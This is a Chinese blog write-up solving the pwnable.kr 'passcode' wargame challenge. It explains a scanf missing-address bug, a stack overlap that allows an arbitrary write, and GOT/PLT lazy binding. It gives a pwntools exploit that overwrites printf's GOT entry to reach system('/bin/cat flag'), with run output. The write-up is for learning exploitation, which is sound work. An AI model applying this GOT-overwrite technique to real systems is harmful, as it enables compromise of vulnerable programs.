Chybeta

Pwnable.kr:passcode

简单GOT覆写

passcode

main

先file看一下,32位。

用IDA打开,f5

可以看到,在调用完 welcome() 后立即调用了 login()。也就是说,welcome()栈帧的栈底 和 login()栈帧的栈底 是一样的。

welcome()

通过 __isoc99_scanf() 读取name字符串,字符串大小为100。且由

1
int v1; // [sp+18h] [bp-10h]@0

这一行可知,在 welcome() 的栈帧中,name字符串的起始位置在 ebp-70h 的地方。

login()

这里分别通过

1
__isoc99_scanf("%d")

来获得 passcode1 和 passcode2 的值。要注意的是,这里 scanf(“%d”) 中没有出现取地址符,也就是说,scanf(“%d”) 会直接把栈上的数据当作指针,并将读入的数据存放到这个“指针”指的“地址”上。


以第一个红框为例,它对应着 passcode1 的读入。scanf的参数有两个,第一个是格式化字符串,第二个是地址表列。按照参数从右到左入栈。所以下面这段话,将 ebp-0x10 处的数据 放到了 esp+0x4 处 作为了 scanf的地址表项参数

1
2
804857c: 8b 55 f0 mov edx,DWORD PTR [ebp-0x10]
804857f: 89 54 24 04 mov DWORD PTR [esp+0x4],edx

scanf的第一个参数即 格式化字符串 由下面这两句话传入

1
2
3
8048577: b8 83 87 04 08 mov eax,0x8048783
省略
8048583: 89 04 24 mov DWORD PTR [esp],eax

0x8048783 处的数据如下:

所以对于第一个 scanf(), 它的第二个参数的数值为在login()栈帧的 ebp-0x10 处的数据。

对于passcode2 的分析同理。

Check

Analysis

从login()的逻辑来看,只要 v1 = 0x528E6 和 0xCC07C9 程序就能执行到 return system()。而且 welcome()和 login() 的 ebp 是相同的,有没有可能通过构造 welcome的输入 来控制 v1 v2 的值呢?

从前边的ida分析来看,在login()的栈帧中,passcode1位置在 ebp-10h, 在welcome()栈帧中,name字符串起始位置在 ebp-70h。由于welcome()和login()调用连续,他们的栈帧的ebp其实是一样的。如下图,两个栈帧对比如下:

70h - 10h = 60h = 96 < 100。也就是说,我们在welcome()中输入的name的第 97 - 100 的字符,在 login()栈帧中恰好是作为第一个 scanf 的第二个参数(即地址表项)。而在login()中,调用第一次 scanf 时传入的 %d 将会写到这个地址中。这样我们能控制 passcode1。

用peda的checksec检查发现开启了canary保护

由于passcode1已经是在长度为100的name的最后四个字节,因此不可能通过继续增加name的输入来控制 passcode2,否则会触发canary。

科普:GOT

linux中,ELF编译系统采用了一种叫延迟绑定(lazy binding)的技术。若ELF文件调用了定义在共享库中的函数,那ELF文件中就存在 GOT(全局偏移表) 和 PLT(过程链接表),其中GOT存放在 .data 段(已初始化的全局C变量),而PLT存放在 .text 段(已编译程序的机器代码)。对于一般函数,PLT表和GOT表一一对应。

当第一次调用共享库中的函数时,该函数对应的GOT表项中存放的是对应PLT表中的push1条目的地址。程序调用时,执行函数对应PLT的第一条指令时会先通过对应GOT跳转到PLT表中的下一条指令,之后通过一系列操作,将对应GOT覆盖为函数的真实地址,并执行该函数。等到下一次调用该函数时,程序一样先执行函数对应PLT的第一条指令,之后通过GOT表会直接执行该函数,因为GOT表中已经是函数的真实地址了。

Thinking

通过之前的分析,我们能通过控制name的最后四个字节,结合passcode1的scanf来实现对任意地址的写入。加上 GOT表是在 .data 段,是可写的。因此一个想法就是:我们可以将 printf 的GOT表 覆写为 system函数的地址。由前可知,当再次调用 printf 时,会通过 printf的GOT表执行 system函数。

printf 的 GOT地址可以通过 pwntools 工具获得。也可以通过 objdump 获得,如下.

对于system函数地址,由于程序中已经提供了,所以这里直接取 80485e3

这里对应着login()中的

1
return system("/bin/cat flag");

梳理一下思路:按照程序的流程,welcome(),我们输入100个字符,其中最后四个是 printf的GOT地址。之后程序进入login,调用scanf(”%d”)时,以 %d 形式将我们输入的数据( system(“/bin/cat flag”))读入,并写入到 printf的GOT地址。接下去,程序会执行 printf(“enter passcode2 : “); 即再次调用printf函数,但实际执行的是 system函数。
要注意的是,由于是以 %d 形式读入,所以输入时应为 134514147 (0x80485e3 = 134514147)

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
elf = ELF("passcode")
r = remote("127.0.0.1","12345")
#r = process("./passcode")
printfGotAddr = elf.got["printf"]
systemAddr = 134514147
print "the printfGotAddr is "+ hex(printfGotAddr)
print "the systemAddr is "+ hex(systemAddr)
payload1 = 'a' * 96 + p32(printfGotAddr)
payload2 = str(systemAddr)
r.sendline(payload1)
r.sendline(payload2)
print r.recv()

flag

local test

1
2
3
4
5
6
7
8
9
10
11
12
(venv) chybeta@ubuntu:~/pwn/pwnable/passcode$ python exp.py
[*] '/home/chybeta/pwn/pwnable/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Opening connection to 127.0.0.1 on port 12345: Done
the printfGotAddr is 0x804a000
the systemAddr is 0x80485e3
flag{2222222222}
[*] Closed connection to 127.0.0.1 port 12345

pwnable.kr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
passcode@ubuntu:~$ ls
flag passcode passcode.c
passcode@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF("passcode")
[*] '/home/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
>>> r = process("./passcode")
[x] Starting local process './passcode'
[+] Starting local process './passcode': Done
>>> printfGotAddr = e.got["printf"]
>>> systemAddr = 134514147
>>> payload1 = 'a' * 96 + p32(printfGotAddr)
>>> payload2 = str(systemAddr)
>>> r.sendline(payload1)
>>> r.sendline(payload2)
>>> print r.recv()
[*] Process './passcode' stopped with exit code 0
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

FLAG: Sorry mom.. I got confused about scanf usage :(

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Pwnable.kr:passcode

文章作者:chybeta

发布时间:2017年04月08日 - 10:04

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/04/08/Pwnable-kr-passcode/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。